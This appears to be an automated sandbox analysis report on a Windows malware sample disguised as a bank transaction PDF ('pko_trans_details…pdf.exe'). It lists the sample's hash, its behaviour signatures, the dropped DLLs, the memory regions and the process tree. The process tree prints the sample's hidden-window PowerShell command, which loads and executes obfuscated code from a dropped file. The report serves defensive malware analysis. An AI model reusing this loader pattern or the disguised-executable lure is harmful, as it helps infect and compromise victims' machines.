Analysis
- max time kernel
94s - max time network
95s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
- submitted
15/07/2024, 09:43
General
- Target pko_trans_details_20240710_105339·pdf.exe
- Size 477KB
- Sample240715-lp64casgra
- SHA256 d7325eb4553b2c58a8580cb84af63cfe5cdf4ff23a3d4e09a963c656d5717d8c
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe"C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Forhrt=Get-Content 'C:\Users\Admin\AppData\Local\kilns\Unobtainably\Helicopter.San';$Forset=$Forhrt.SubString(45874,3);.$Forset($Forhrt)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3572 -s 27243⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3572 -ip 35721⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_p1zmxih5.ao3.ps1
BgImage.dll
UserInfo.dll
nsDialogs.dll
Helicopter.San
memory/3572-31-0x0000000005C80000-0x0000000005CE6000-memory.dmp
memory/3572-43-0x0000000006430000-0x000000000647C000-memory.dmp
memory/3572-28-0x00000000736A0000-0x0000000073E50000-memory.dmp
memory/3572-29-0x00000000053F0000-0x0000000005412000-memory.dmp
memory/3572-30-0x0000000005590000-0x00000000055F6000-memory.dmp
memory/3572-27-0x0000000005650000-0x0000000005C78000-memory.dmp
memory/3572-25-0x0000000002A70000-0x0000000002AA6000-memory.dmp
memory/3572-41-0x0000000005E70000-0x00000000061C4000-memory.dmp
memory/3572-42-0x0000000006380000-0x000000000639E000-memory.dmp
memory/3572-26-0x00000000736A0000-0x0000000073E50000-memory.dmp
memory/3572-44-0x0000000007550000-0x00000000075E6000-memory.dmp
memory/3572-45-0x00000000068D0000-0x00000000068EA000-memory.dmp
memory/3572-46-0x0000000006930000-0x0000000006952000-memory.dmp
memory/3572-47-0x0000000007BA0000-0x0000000008144000-memory.dmp
memory/3572-24-0x00000000736AE000-0x00000000736AF000-memory.dmp
memory/3572-49-0x00000000087D0000-0x0000000008E4A000-memory.dmp
memory/3572-51-0x00000000736A0000-0x0000000073E50000-memory.dmp